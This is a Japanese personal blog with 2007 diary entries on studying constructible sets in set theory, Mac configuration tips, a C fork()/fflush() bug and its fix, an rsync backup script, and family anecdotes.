上も結構悩んだのですが、いま困っているのは、例えば $L_{\omega_2}~$ の無限基数は本当に $\omega,~\omega_1~$ だけなのだろうかということです。自明なのか、それなり証明が必要なのか、成立しないのかわかないのです。

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2007年3月2日(金)

Quarts 2D Extreme
デュアルディスプレイにすると Expose や Dashboard がとってもぎくしゃくしてかっこわるい MacBook ですが、そういえば、と思い出して Quarts 2D Extreme を有効にしてみました。プロファイラによると機能としてはサポートしているようです。
```
root もしくは sudo で

# defaults write /Library/Preferences/com.apple.windowserver \
  Quartz2DExtremeEnabled -boolean YES

その後リブート
```
うーん微妙。やや動きがスムーズになった気もしないでは。分からない (笑)。
(追記) 少なくともウインドウの上の方をダブルクリックして、もにょもにょっと隠れるアニメーションは良くなってる感じ。マウスポインタの動きもスムーズになった気がします。これも気のせいかなあ。分からない (笑)。
(関連項目) 2005年6月6日 Quarts 2D Extreme を有効にしてみる
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2007年3月1日(木)

微妙なバグ
昨日のトラブルの話です。実はそれほど微妙ではなく、UNIX 一筋 15年なのに、こんな間違いをしたのは恥ずかしいのですが、なかなか面白いので。
(現象) ファイルの内容がある単位で重複して書かれる場合がある。
いやー、ソースのどこを見ても二回書いている感じではないし、メモリーを壊している感じでもないのです。本当に一回しか書いてないつもりなのに、ファイルの中身はあたかも同じ内容を二回書いたような状況。
悩んだ...。久々に悩みました。
で、私の作っているプログラムは組み込 Linux 用で、基本的に一秒間に一回メイン処理を行う無限ループです。メイン処理の遅延は極力避ける必要があるのですが、それなり時間が (といっても 0.2 秒くらいですが) かかる処理を別途行う必要もあるのです。こういう場合、メイン処理のループを遅延させないため、fork() を使用するのが好きです。fork() して子供側は exec() しないで、単に同じプログラムに書いてある関数を呼び出して終了するのです。こうすればメインの処理と並列に動作しますし、負荷の面でもVM の書き込み時コピーを考えれば問題ありません。
```
-----------------------------------------------------------------------------
/* 事前にゾンビ防止のコードは書いておく */
...
pid=fork();
if (pid==0) {    /* 子供 */
    func(...);   /* 関数呼び出し (I/O 待ちで0.2 秒くらいかかる可能性あり) */
    exit(0);     /* 終了 */
}
/* 親はそのまま継続 */
...
-----------------------------------------------------------------------------
```
はい、全然だめなコードですね。だめなことは知っていたのですが、はまったことがなかったので、油断してました。
実は問題のファイル書き込みはシステムコールではなく、標準入出力系のライブラリーを使用していたのです。fopen() 系ですね。ということはファイルポインタや標準入出力系のバッファは fork() で (論理的に) コピーされます。さらに exit() はファイル記述子を閉じる前にファイルポインタをクローズし、その時当然フラッシュ処理 (fflush()) が行われるわけです。この処理はユーザープロセス内で行われるので、親の方とは独立に行われます。その後親の方が同じ内容を fflush() します。即ちファイルの内容が重複するわけです。
正解は次の通りです。
```
-----------------------------------------------------------------------------
/* 事前にゾンビ防止のコードは書いておく */
...
fflush(NULL);    /* (A) 開いている標準入出力関連のバッファをフラッシュ */
pid=fork();
if (pid==0) {    /* 子供 */
    func(...);   /* 関数呼び出し (I/O 待ちで0.2 秒くらいかかる可能性あり) */
    _exit(0);    /* (B) 終了 (後処理を行わない)  */
}
/* 親はそのまま継続 */
...
-----------------------------------------------------------------------------
```
修正点は (A), (B) いずれかで良いと思いますが、念のため両方。本当は _exit(), exit() の使い分けは真面目に考える必要がありますが、今回の用途では_exit() で良いはず。
というわけで、少なくとも fork() する前に標準入出力を flush するのが礼儀であることは知っていましたが、はまったことがなかったので甘く見ていました。大恥をさらしましたが、いやはやほんと気がついて良かったです(^^。
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2007年2月28日(水)

やれやれと思ったら
昨日の続き。やっとこ一段落と思ったら別件でトラブル発生。いやはや、昨日 Y.Kumagai さんのコメントにふざけた返事を書いたのが良くなかったような(^^。
反省してます！
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2007年2月27日(火)

やれやれ
やっとこ懸案の仕事一つ終了かな。これからおうちに帰って、28日にいつものことですがぎりぎり納品。来月からは新規プロジェクトに専念...出来ると良いのですが(^^。
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2007年2月26日(月)

現代思想 2007年2月臨時増刊号ゲーデル
最近は GEB 以来の第 n 期ゲーデルブームなのだろうか？で、いわゆるゲーデル本はちょっと食傷気味なのですが、「『現代思想　２００７年２月臨時増刊号』総特集=ゲーデル」はなかなか面白そうです。というか、なんのかんので「三大業績 (完全性定理・不完全性定理・L)」について、理解とまではいかないとしても、証明をおっかけたというのは結構うれしい。その割に、じゃあこれらの業績は何なのか、と言われても明確に答えられないのが、情けないと言えばな情けないのですが。
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2007年2月25日(日)

学習阻害要因
どうもお久しぶりです(笑)。いや、最近ねたがなくって。さらに土日位はきちんと勉強しようと思っているのですが、昨日は自宅で仕事をするはめになり、徹夜してさっき起きたばかりなのです。今晩は少しでも勉強を進める、というか前週までの内容を忘れないようにしないと。
で、仰々しいお題目ですが、なんというか、やはり、この、年とって目が悪くなるのはかなりつらいものがあります。もともと私は小学校に入る前から極度の近眼なのですが (おそらく全く絵が描けないのと、幾何学的直感が全然だめな原因の一つかと。関係ないかも知れませんが) ここ数年間老眼が混じり始め、いやはやほんと不便なのです。

普段の生活
この場合メガネがないとお話しになりません。
PC を眺める場合
こちらもメガネがないと全く見えません。ただし最近とみにちっちゃい文字のページが読みにくくなり、その場合しらたまちゃんの画面を大きくする機能のお世話になることが多いのです。なんか奥さまもこの機能だけはうらやましがってたような(笑)。
本を読む場合
こちらはこの二三年メガネをかけてると苦しいです。メガネをはずして本を近づけて読むしかありません。ところが近づけると両眼では焦点が合わないので、片目で読まなければいけないという、ほんと情けない状況に陥ってます。
ノートに書く場合
こちらは上のように片目でノートに顔を近づけて書く場合と、メガネをかけて大きめの字で書く作戦があります。本を読みながら書く場合、いちいちメガネをかけなおすのは面倒なので、独眼流になる場合が多いかも。

というわけで、余りにも不便なので、そろそろ本を読むとき専用の老眼鏡みたいなのがあれば良いのかな、とも思うのですが、日常生活はともかく PC 画面を見る場合と両立できるのだろうか。もしそうならば仕事でも便利なので、即購入です。あっ、でも二つもメガネを持ってると、すぐに片方行方不明になりそう。まあ、メガネなしの状態でメガネを探すという不条理な状態よりは良いのですが(笑)。
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2007年2月22日(木)

zero sharp の魅力
最近は電車の中でConstructiblityを流し読みすることが多いのですが、何と言っても当面の目標として魅力を感じるのは zero sharp (0^#) です。肝心の EM-青写真の定義の意味が良く分からないのですが、なんとびっくり 0^# の存在を仮定すると、Lでの真偽を表現する論理式の存在を証明できるそうな。というか、見当違いをしてなければ、任意の (V での) 非可算基数 $\lambda~$ に対し、 $L_\lambda~\prec~L~$ なので結果的にそれほど不思議ではないのですが。
いずれにしても zero sharp に関する結果はわくわくするようなものが多い感じがします。さらに今まで勉強してきた、特に弱コンパクト基数がらみの知識と言うかテクニックや考え方はとても役に立ちそうな気もします。というか、ここ数年間勉強した知識をかなり使用する感じなので、その辺を整理するにも非常に良いのではないかと。
なのですぐにでも真面目に勉強を始めたいところですが、現在 Constructibilityの2章の途中で、zero sharp に関することは5章です。さらに中途半端な知識で読み始めると、どうしてもずさんな読み方になる場合が多いので、真面目に読み始めるまでかなり時間がかかるかも知れません。最大の問題は「ちっとも分からなかったらどうしよう」ということですが、まあ私はすべて物事を楽観的に考える人なので、なんとかなるでしょう、と考えときます。
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2007年2月21日(水)

虫の正体
いまいち本物か作り物か分からない、昨日のかわいい虫ちゃんですが、やっとその正体が分かりました。
本物です。
その動かぬ証拠はこちらです。
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2007年2月20日(火)

モカちゃんへのメール

モカちゃんと奥さまへ出したメール。　

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パパです
これはすごいですよ。

http://www.youtube.com/watch?v=OeNggIGSKH8&mode=related&search=

その正体はこちら↓

http://bugguide.net/node/view/4905

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でもってモカちゃんからの返事。

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キモイッ!!
どっから見つけてくるのよ…
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会社の人の感想によると「ギズモに似てる」とか「ねこバスに似てる」とか。親子ともども毒が強いそうです。

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2007年2月19日(月)

復活
今日から復活して出社です。いやはや、それにしても仕事のたまってること。さらに昼夜逆転に近い生活を四日間繰り返したせいで、徹夜明け ( 目を覚ましたのは前日の夜8時ですが) で出社したので眠いこと眠いこと。しかも夕方たいしたことないけど熱が上がってきたという。というわけでおやすみなさい。
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2007年2月18日(日)

Constructibility進捗
というか、この数日熱が上がると寝込み、具合が良くなると本を読むこと以外してないので、他に書くことがないのです。とにもかくにも II章2節の終わり (71ページ) まで完了。今回は今までの失敗をふまえ、(コード化に関する) 論理式の細かい部分や、束縛の範囲もそれなり真面目に読んだつもりです (見落としはあるかも)。いずれにしてもこれで大混乱を起こしていた、
2006年12月15日ゲーデルの圧縮レンマ
 2006年12月22日 L_αの絶対性 (これは本当にめちゃくちゃ)
に関して自分なりの整理がついたことになり、正直うれしいです。あっ、もちろんここまでは基礎の基礎であり、今後急激に難しくなるであろうことは認識しています。
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2007年2月17日(土)

充足可能性について考えたこと
集合論雑記目次
Devlin著Constructibilityに記述されているBS (Basic Set Theory) とは次の公理を満たす理論です。弱い理論上で定義された充足関係等を準備し、後に極限順序数に対する $L_\alpha~$ での充足関係を調べようと言うわけです。たぶん。
(1) 外延性の公理
(2) 帰納法の公理図式 $\forall{p}(\forall{x}\forall{y\in{x}}(\varphi(y,p)~\to~\varphi(x,p))~~\rightarrow~\forall{x}(\varphi(x,p)))~$
(3) 対の公理
(4) 合併の公理
(5) 無限公理
(6) 積の公理 ( $x~\times~y~$ の存在公理)
(7) $\Sigma_0~$ 論理式に対する分離公理
2月10日の記事で i-land さんに指摘して頂いた BS で ${}^n~A~~$ ( 自然数 $n~$ から $A~$ への関数全体) の存在が言えないのでは、の件について考えたこと。当日の私のコメントは大混乱を起こしているので忘れて頂きたいのですが、たしかにどう考えても難しそうな気がします。ただしご指摘のようにコーディングを変更して「finite sequence」を「有限個の直積」と変更すれば $\forall{a}\forall{n~\in~\omega}\exists{u}\mathrm{Seq}(u,A,n)~~\leftrightarrow~\forall{a}\forall{n~\in~\omega}\exists{u}~~(u~=~\Bigcup_{r<n}{{}^r~A}})~$ と同等の論理式を証明することは可能で、従って $\mathrm{Sat}(u,\varphi)~$ ( $u~$ は $\varphi~$ を満足する)と同等な論理式が $\Delta_1^{\mathrm{BS}}~$ を満たすように定義可能になると思います。すると面白いことに、BS の典型的なモデルとなる amenable な集合 (定義は 2007年2月12日の記事を参照して下さい) $M~$ に対し、
$|=_{M}~\forall{A}\forall{n\in\omega}(~~{}^n~A~$ が存在する)
が証明できてしまいそうな気がします。また見当はずれが怖いのですが、要は、充足関係を形式化してしまえば、「有限個」の論理式を自由に合成して使用できるので、
${}^n~A~=~\{s~\,:\,~|=_M~\exists{{v}_0~\in~A}\cdots\exists{v_{n-1}~\in~A}(~~\dot{s}~=\{(0,\dot{v}_0),\cdots,~(n-1,\dot{v}_{n-1})\}\}~$
が成立し $\Sigma_0~$ 分離公理により ${}^n~A~\in~M.~$ うーん、また致命的な誤りがあるのだろうか。なんとなく大丈夫な気がするのですが、自信なしです(弱)。尚、上の事実は極限順序数に対する $L_\alpha~$ での議論そのもののつもりです。もちろん amenable 集合全体がが BS のモデル全体となっているとは限らないので、完全性定理を使い BS での定理とするわけにはいきません。というか、そもその非推移的なモデル (これは超自然数を含む可能性が強い) では直感的な有限個とモデルの「有限」に乖離が出るので、うまくゆかないのは当然である感じがします。
上の議論が正しければ、推移的で Amenable でない集合が BS のモデルになる可能性が良くわからないのですが、反例が存在するとすれば非推移的なモデルになる可能性が強そうな気がします。「作る気が失せています」の気持ちがなんとなく(笑)。
(参考文献) Keith J.Devlin著 Constructibility
(後記) i-land さんにコメントして頂いたように上の「証明」はまったくの誤りです。失礼致しました。
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2007年2月16日(金)

実は苦手
インフルエンザついでに、集合論の基本的な概念で苦手なものを一挙公開です。

(置換公理)
これは苦手というより、無意識に使ってしまう場合が存外多いのです。通常は支障ないのですが、弱い条件しか満たさないモデルを考える時よくはまります。
(帰納法による関数定義)
帰納法による証明はそれほど苦手ではない、というか大好きです。学生時代にも、とある群論の問題を解くのに、かなり独自の多重帰納法を駆使して先生にほめられたことありますし。さらに帰納的に関数を定義すること自体大好きで、通常は問題ないのですが、関数定義の一般形式に弱いのです。一番簡単な例でパラメーターとか省略して書くと $F(\alpha)~=~G(F|\alpha)~$ の形で真面目に書こうとするとはまります。そもそも学生時代に常備分方程式の一般形 $x^'~=~f(t,x)~$ という記述も最初意味不明だったので、もともとこういう概念は苦手なのかも知れません。
(たまに $\in~$ と $\subset~$ の違いが分からなくなる)
そんなばかな！と思われるかも知れませんが、モデルの要素とか部分集合を考えてると、どっちがどっちだか分からなくなることがあります。
(足し算とかけ算の違いが分からなくなる)
これは最近のコメントの内容をご覧になるとお分かのように、列を継ぎ足して行く時思わず間違える場合が多いです。
(標準的自然数が分からない)
これは苦手というよりも勉強不足なのでしょうが、標準的自然数という概念がそもそも定義可能な概念なのか分からないのです。 $\omega\in{V}~$ の要素を標準的自然数と定義する、で良いのだろうか？分からない。
上の苦手事項を眺めると、要は「列」というものに対する本当の直感が出来ていないと推測されます。余談ですが上の「苦手」はごく一部を記載したのであり、難しいことは全部苦手なのかも知れません(笑)。
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2007年2月15日(木)

インフルエンザ
うーん。
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2007年2月14日(水)

余ったから
「余ったから上げる」と言いながらモカちゃんが手焼きのケーキをくれました。というか、最近の中学生のヴァレンタインディはなかなか大変らしく、

女の子同士で手作りのお菓子を交換し合う。ただし本命に関しては別途手渡し。

という状況だそうです。通学する女子中学生のほとんどが大きい袋を持ってました。
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2007年2月13日(火)

最低
トイレでころんだ。右手の親指を怪我した。それはまだしも、そもそもどうしてころんだかというと、大をあふれさせたやつがいたらしく、トイレが水浸しだったのですよ。なので服はもともとは大から派生した水でびしょぬれ。最低ですな(-_-)。
つーか、最近トイレにお茶は落とすし、傘はなくすし、1000円もした勉強用シャープペンシルはなくすし、運が落ちてるのでは。確かにウン落ちてたが。
一つだけ良い話。五十肩を見てもらった時、血液検査もしたのです。今日電話して聞いてみたら、白血球が多い以外は全く問題ないそうで。白血球が多い (16000位) のは、いつもお医者さんはかなりあせりますが、この 30年間全く変わらないので、まあすぐにどうということはないでしょう。
(付記) 写真は血です。決してうんではありませぬ。
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2007年2月12日(月)

Admissible ordinal
現在DevlinのConstructivilityの第一章を読み終わり、第二章の雰囲気を眺めているところです。もっとも、自分がにわとりかと思える程、物忘れが激しいので、第一章に関しても何回も見直す必要が出ると思います。
ところで第一章を読んでいて最初に疑問に思ったのは次の事実です。

極限順序数 $\alpha~$ に対して $L_\alpha~$ は自明に amenable であるが admissible となる条件は？

ちゃんと第二章に解答が書いてありました。
( $L_\alpha~$ が admissible) $\leftrightarrow~$ ( $\alpha~$ が $\Delta_1(L_\alpha)~$ -「正則性」を持つ)

おおざっぱに言うと $\alpha~$ が $L_\alpha~$ で $\Delta_1~$ -定義可能な関数だけでは「到達不可能」 (正則性という意味で) という感じです。たぶん。
というわけで、やっと眼目の二章に入ることが出来そうですし、ざっと眺めた感じ、内容も理解できそうです (真面目に読んだ時どこではまるか不明ですが)。
(補足) 集合 $M~$ が amenable とは次の条件を満たすこと。
(1) $x,y~\in~M~\rightarrow~\{\,x,y\,\}\in~M~$
(2) $x~\in~M~\rightarrow~\bigcup~x~\in~M~$
(3) $\omega~\in~M~$
(4) $x,y~\in~M~\rightarrow~x\times~y~\in~M~$
(5) $M~$ 上定義可能な $\Sigma_{0}~$ 論理式に対し内包の公理が成立する。

さらに $M~$ が admissible とは amenable であり次の条件を満たすこと。
(6) $M~$ 上定義可能な $\Sigma_0~$ 論理式に関して置換の公理が成立する。
実際には (6) の $\Sigma_0~$ は $\Sigma_1~$ と書き換えることが可能で、さらに admissible な集合に関し $\Delta_1~$ 内包公理が成り立ちます。
いまいち具体性がない記述で申しわけないのですが、全体的にまとまった時点で、集合論雑記の $L~$ シリーズを開始したいとは思っています。正直三章までは理解可能と思いますが、四章以降に関してはどうなるのでしょうか。希望としては全部理解したいのですが、なかなか道は厳しそうです。
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2007年2月11日(日)

すけきよさん
二女が「犬神の練習しなくっちゃ！」と言いながら、逆立ちして足を V 字形に開いていた。なるほど。
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2007年2月10日(土)

DevlinのConstructivility (続き)
とりあえず第一章 (集合論の基本と、論理式、充足可能性ののコード化、論理式の階層とその一様性) あたりまで。特に充足可能性が非常に弱い仮定 (amenable) で一様に $\mathrm{\Delta}_1~$ 定義可能であることを納得。あっ、コード化の詳細を細かくはチェックしてません。コード化された論理式ともとの論理式の関連や証明を直感的に妥当であると認識した程度です。さすがにここのところは、不完全性定理の証明の場合もそうだったのですが、一字一句細かく追いかけることはしないかも知れません。一様に機種依存だし(笑)。まずいでしょうか？
で、ちょっと先走り、圧縮レンマの証明を読んだところ、実はいまいち (ほとんどです。失礼！) 良くわからなかった i-land さんの 2006年12月22日の記事に対するコメントの意味がある程度分かるようになりました。ただし、未だ非常にずさんな読み方なので、全然自分のものにはなっていませんし、本に書いてあるから一歩一歩追えるのですが、自分で考えたら絶対間違えそうです。現に今までたくさん間違えました。ただ、昨日読み始めたばかりなんですが、とても「わくわく感」があります。まだまだ時間がかかるとは思いますが、今後この本を中心に読み進めて行こうと考えています。どうもありがとうございます＞i-land さん。
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2007年2月9日(金)

よっしゃ
明日から三連休。なので Devlin の Constructivility を読み始める予定。
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2007年2月8日(木)

傘をなくす
この前いつも使っている傘がゆくえ不明になってしまったのです。仕方ないので奥さまに傘一本買っといてとお願いして、昨日の出張に新しい傘を持って行ったのです。ところがですよ、ところが...

出張先に着いたらすでにありませんでした(-_-)

うーん、どこでなくしたのだろう。全く記憶にございません。というか買ってもらったその日になくしたとなると、これは大変です。仕方ないので次のようなメールを書いたのです。
```
----------------------------------------------------------------------
Subject: ごめんなさい

大変なことをしてしまいました。ごめんなさい。

傘なくした。

ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。
----------------------------------------------------------------------
```
何回も謝って、これは誠意の固まりですね。やはり人間誠意ですよ誠意！！でもって、これだけ謝れば当然お許しを頂けると思ってたら、即座にきた返事が次の通り。
```
--------------------------
Subject: Re: ごめんなさい

> 傘なくした。

フンッ
--------------------------
```
あわわわっ、お許しがない(笑)。どうしよう。困ったなあ。てなことを帰る間際にお客さまに話したところ、「そう言えばかがみさん、前に傘忘れてかなかった？所有者不明なのが一つあるんだけど」なるお話があり、現物を見せてもらったら確かに私の傘でした。なんだここに忘れたのね。それなら新しいの買ってもらう必要なかったじゃないですか。いやいや、せっかく買ってもらったのをすぐになくしたのは本当にまずかったです。反省してます。
ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。

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2007年2月7日(水)

つくば出張
今日は恒例のつくば出張です。もう会社がつくばにあるみたいな状態です(笑)。
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2007年2月6日(火)

超自然数や超実数とか
私の認識が誤っていなければ、超自然数や超実数というのは、要は ω からω への関数、もしくは実数体から実数体への関数の無限遠点での挙動を「外延化」したものであり、その外延化はフレシェフィルター (を拡張した超フィルター) による同値関係により行うのだと思います。だとすると、超準解析が一時脚光を浴びたが、今はあまりはやらなくなった理由も分かるような気がします。だって ε-δ の方がフィルターの収束より分かりやすいもん(^^。
もちろん ω なり実数体の「性質を変えずに」拡張し、外から見れば無限大や無限小がある意味具体的に見えるのは面白いし、私が知らないだけで (というか全く知らない) 色々面白い結果が得られるのかも知れませんが、うーんどうなんだろう。超順解析の本を眺めてみたいという気持ちもあります。
(関連項目)
2006年7月2日超巾と正則性
 2006年9月10日超積、超べきとLośの定理
 2006年10月2日ゲーデルの完全性定理

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2007年2月5日(月)

ハイバネーションをやめてみる
先日書いたように MacBook にはハイバネーション機能があり、メモリーの内容を常にディスク上に記録していると思われます。ところで私は AC が使えない状態で長時間休止状態にすることはありません。従ってハイバネーション機能は余りうれしくないですし、ディスク容量がもったいない感じもします。さらにメモリーの内容をディスクに書き出す処理が存外負荷をかけるような気がします。単なる気分ですが。なのでハイバネーションを行わない設定を試してみました。ネットで調べると次のコマンドを実行すれば良いそうです。
```
# pmset -a hibernatemode 3   でデフォルト
# pmset -a hibernatemode 0   でハイバネーションなし
```
ハイバネーションなしのコマンドを実行した後 /var/vm/sleepimage を削除してリブートすれば良いのです。えーっとディスクを暗号化している人は番号が違いますので注意して下さい。
というわけで確かにディスクの空きは 2G 増えましたが、特にスピードアップした感じはしません。余り関係ないですか(笑)。いずれにしてもしばらくこの状態で運用してみようと考えています。
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2007年2月3日(土)

長考
囲碁や将棋のテレビを見てると、一手目とか二手目から考える人がいます。新聞の囲碁将棋欄を見ても、同様に最初の一手二手でかなりの時間を消費する人がいます。そもそも囲碁将棋の初手は、通常、囲碁の場合は、星・小目・三々・高目の四種類、将棋の場合、飛車の頭を開ける・角道を開けるの二種類しかないわけで、家で考えてくれば良いのでは、とつっこみたくなります。二手目に関しても、上記のごとく、相手の一手目の可能性は少ないのですから、こちらも家で考えてくれば良いと思うのが普通だと思います。
さらに時間が切迫し、テレビでは 30秒の秒読み、その他では一分の秒読みに突入し、それが原因で負けてしまう場合もあるのですから、最初の二手で考えるのはおろかとしか言いようがありません。
というプロの厳しさも知らない私が余計なことを書きましたが、実は現在の私がそういうモードなのです。つまり、今年の九月までに行う仕事が山のように決まっていて、ほんとに全部やりきれるのかいな？と不安にならないわけではないのですが、まだまだ時間もあることだし、のんびり構想を練っておこう、という「やること山ほどあるけどいまいち進まない」状態なのです。
これって考えたり仕事しているのではなく、構想を練るのを楽しんでいるのでは。レヴェルは全く違うとはいえ、プロの碁打ちや将棋指しの人も同じような心理状態なのではないかと。そうは言うものの、いずれ修羅場に突入することは分かっているので、ほんと今のうちに構想のみならず、きちんとした展望を決めておかねば！！まあぎりぎりにならないと本気がでないのはいつものことなのですが、もう少し改善しないと、と思うこのごろなのでした。
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2007年2月2日(金)

FreeBSD-4.11サポート終了
実はもっと前から発表されていたのかも知れませんが、FreeBSD-4 系統のサポートが終了するそうです。いやはや FreeBSD-5 系の最初の出来が良くなかったので、自宅サーバーで 4系列を使い続けていましたが、いよいよ更新する必要がありそうです。というか、五年前だったらこういう作業は、面倒とはいえ、反面わくわく感があって、それなり楽しめたのですが、最近はほんと面倒なだけです。
この前会社の私より十年程年配の人と話をしたのですが、「年を取るということは、頭脳の働きが悪くなるとか、少しはそういう面もあるかもしれないけど、そういうことではなく、物事を行うのが面倒になってくること」ということで意見が一致しました。いや、こんなことで意見が合いましたなんて喜んでても仕方ないのですが。
というわけで更新作業を行う必要があるのですが、いつになることやら(笑)。いっそレンタルサーバーへの移行という作戦もありですが、こちらも設定が面倒そうでいまいち決断がつきません。まあ気が向くか、もしくは致命的なセキュリティーホールが発見された場合になると思います。せめてX24が FreeBSD-6 系統の CD でブートするくらいは確認しておいた方が良いかも知れません。
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2007年2月1日(木)

お誕生日
今日は私の誕生日です。おすしとケーキを食べました。
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2007年1月31日(水)

惨劇
昨日までつくば出張でしたが、そこで大変な惨劇が起きたのです。お客さまのところには休憩室のような部屋があり、ソファーや自動販売機が置いてあり、到着が少々早かったので、そこでお茶を買ってのんびり飲んでたのです。ところでお茶を飲むと大をしたくなる場合が多いというのは、人類普遍の原理と思われます。なので、大をしに行ったのですが、そのときコートのポケットに半分以上残っているお茶を入れてったのです。
で、コートを着た状態で大を行う場合、これも人類普遍の原理ですが、惨状を避けるためコートをたくしあげる行為を行います。そのときですよ！そのとき

お茶がつぼに落ちました(笑)

あわわわっ、お茶で良かった。いや！それよりなんとかしなければ。いくらなんでも放置したままというわけには行きません。仕方がないので、手を入れて、取り出し、紙で拭いて、さらに中身を捨てて (これは小と似たような物なので問題なさそう) それなり証拠隠滅を行い近くのゴミ箱に入れときました(殴)。それにしても自分の家で何らかの事故が発生し手を入れるのはそれほど不快ではないのですが、公共の場所のはやはりやなものです。
おうちに帰ってから奥さまに話したところ、「洗ったのを捨てないで飲めば良かったのに」というつっこみが入りましたが、いやはやさすがにそれはご勘弁を(^^。
(追記) お茶がどぼんしたのは、事前なのか事後なのかというつっこみが多数ありましたのでお答えします。事前です。いや、ほんと事後だったら大変過ぎますよ(笑)。
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2007年1月29日(月)

出張
今日から明日にかけて恒例のつくば出張です。
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黒マックバックアップ作戦
ノートPCに限りませんが、それなり重要なデーターが入ってるPCのバックアップはまじめに考える必要があります。で、私の場合、今まで突然ハードディスクが壊れてしまった経験がなく、壊れる場合もそれなり予兆があったので、なくすと困るデーターを紛失したことは一度もないのです。そうは言うものの油断していると今度こそ痛い目に合うかも知れません。
今まではそれなり大きいファイルを含むディレクトリーは、夜中に tar で固めて自宅サーバーへ転送、明らかにテキスト系 (.c .h .cc .hh .sh .tex .html 等) のファイルはこれまた定期的に tar で固めてレンタルサーバーへ転送していたのです。この方法は何も考えずにそれなりの安全性が保証されるという点で悪くはないのですが、いくつか欠点もあります。
- tar で固めるのと転送にかなり時間がかかる。自動なので特に問題はないのですが、出張にで泊まりなどの時、tar で固めるところまで行ったのに肝心の転送ができない、というみっともないことが発生したりするのです。
- 夜中にスケデュールを組むので PC を 24時間つけっぱなしにする必要がある。出来れば新しい MacBook は少し休ませてあげたい。
- /home/kagami/ 以下全部バックアップするわけでないので、もれが発生する可能性がある。
- 画像ファイル (特に貴重なものを除く)、音楽ファイルなどはバックアップの対象になってないが、やはりなくすと後が面倒そう。
そこで別の方法を検討してみたのですが、考えてみるとおうちには 40G の2.5 インチUSB外付けハードディスクがあります。実を言いますと、この外付け箱はいまいち PowerBook と相性が悪く、USBハブを経由しても、まれに固まることがあったのですが、MacBookとは相性が良いです。どこが違うのでしょうか？とにかくこれを利用することにしました。現在 /home/kagami/ 以下の容量は 11G バイト位で、その 6割程度が音楽ファイルという状況です。外付けハードディスクの容量に関して、当面は全く心配ありません。一週間に一度程度のバックアップを行うつもりですが、毎回全部バックアップするのも面倒です。そこで、使ったことがなくいまいち自信がなかったのですが、rsync を利用することにしました。使い方面倒なのかな～、と思って man で調べたりWeb 上で実例を参照したりしたところ、実際にはとても簡単に利用できそうです。
(手順書)
1. USBハードディスを刺す。
2. 次のコマンドを記述したシェルファイルを実行する。なんか Mac OS が私を所有者としないファイルを作る場合もあるので、root で実行しないとまずそう。
```
#!/bin/sh
RSYNC='rsync -av --delete'
$RSYNC /home/kagami/ /Volumes/KAGAMI-Hiromichi/kagami
```
  /Volumes/KAGAMI-Hiromichi/ は刺したときに自動マウントされるハードディスクのマウントポイントです。
3. USBハードディスクを抜く。
あれま！簡単に出来ました(笑)。最初は三十分近くかかりましたが、二回目以降は差分のみですので、ファイル検索のみの時間で大丈夫です。これならずぼらは私でも一週間に一同程度は出来そうです。自分の環境がすべて保存されるのがなかなか宜しいのです。
その他、毎日バックアップしたい重要なファイル群として .c .h .cc .hh .sh .outliner .graffle .php .awk .cgi Makefile .tex .html あたりが考えられるのですが、こちらは find で検索し tar で固めればたいした容量はなさそうなので、昼間にでもレンタルサーバーへ送ることにしましょうか。それとも USB メモリーでも良いかな。
いずれにしても、この運用にて MacBook 君は夜中に眠れることになります。ヒンジの関係でふたをするべきかどうかが最大の悩みどころです(^^。
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2007年1月28日(日)

そろそろDevlin本
実はまだ Kunen本の iterated forcing の途中なのですが、いつまで読み始めないのも良くないので、並行して DevlinのConstructivility を読み始めようかと思います。で、リンク先は Amazon ですが、 ちゃんと勉強する目的で購入される場合 、リンク先のコメント欄を参考にした方が良いです。というか貴重な文献ですので、興味があり、さらに今後それなり長く集合論とかかわりを持つ可能性がある方は、無理してでも買ってしまった方が良いのでは。
ただし、普段からこの日記を読んで下さっている方で、私の知り合いの方には無関係な話ですが、絶対に転売目的で購入したりしないように。まあもうからないと思いますが(笑)。
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2007年1月27日(土)

イーサネットげた
この前まで使っていた PowerBook ですが、キーボードは一つなくなり、ハードディスクは不調、さらいお客さまのところでのネットワークテストでイーサネットケーブルを入れ替えさし替えしてたら、中のつめが取れてしまったのです。なのでケーブルをさすことは可能ですが、さしてもゆるゆるなのです。特に実害があるわけでもないのですが、極めて不愉快です。そうはいうものの、私物 PC を業務で使用する宿命で、誰にも文句は言えません。
ところで、新しい黒マック (MacBook) で上記のような事態に陥ることはぜひ避けたいものです。そこで、「こういうがないかいな～」とお願いすれば必ず出てくるという「会社のドラえもん」とも言うべき A さんのところにお願いに行って作ってもらったのが、写真のイーサネットげたです。
つまりお客さまのところでネットワークケーブルを抜き差しする必要が生じた場合、上のげたをネットワークポートに一回だけさし、げた側で抜き差しを行うわけです。これは便利です。さすが A さん！便利です(えっ)。
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2007年1月25日(木)

連続体仮説へのリンク
Fu さんの連続体仮説シリーズへのリンク集です。私がこのようなことを書くのも失礼かも知れませんが、とても直感的に見通しが良く、分かりやすく記述されています。
一から強制法
 二から強制法
 三から強制法
 拡大モデルと真偽の絶対性
 連続体仮説の独立性証明

個人的な意見ですが「三から強制法」において $F~$ の構成は記載した方が良いかも。強制拡大モデルの要素が元のモデルからぼんやり確定できる雰囲気を良く表していると思うからです。
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2007年1月24日(水)

MacBook購入後十日程
黒マック購入後大体十日程経過しました。ひとまず感想のまとめなど。

画面が大きい
12インチのPowerBookとさほど変わらないのではと思っていましたが、以前は単体での使用で、画面の狭さを感じる場合が多かったのが、MacBookの13.3インチで大分解消されました。この違いは大きいです。まあ会社でのデュアルディスプレイ使用時には全然関係ないですが。

重い
さすがに 2.3Kgは重いです。PowerBookより少し重いのでは。まあ重いPCの持ち歩きには慣れてるから良いのですが(笑)。

外筐体は頑強そう
いかにもかっしりして、さらにねじれません。少なくとも外部に関しては PowerBookより壊れにくそうです。もちろん内部の部品に関しては全く未知数です。

キーボードは思ったより良い
いまいちキャラメル感があって、特に日本ではいまいちの印象があるかも知れませんが、タッチ自身はなかなか充実感と軽快感が良くミックスし、個人的には気に入っています。

Spotlight検索がとても便利になった
これは単なる速度の問題なのですが、仕事上検索を行う場合が多いのと、普段ドックに表示していないアプリケーション、もしくはファイルを開くためにも使用するため、速いにこしたことはありません。

iSightは意外と遊べる
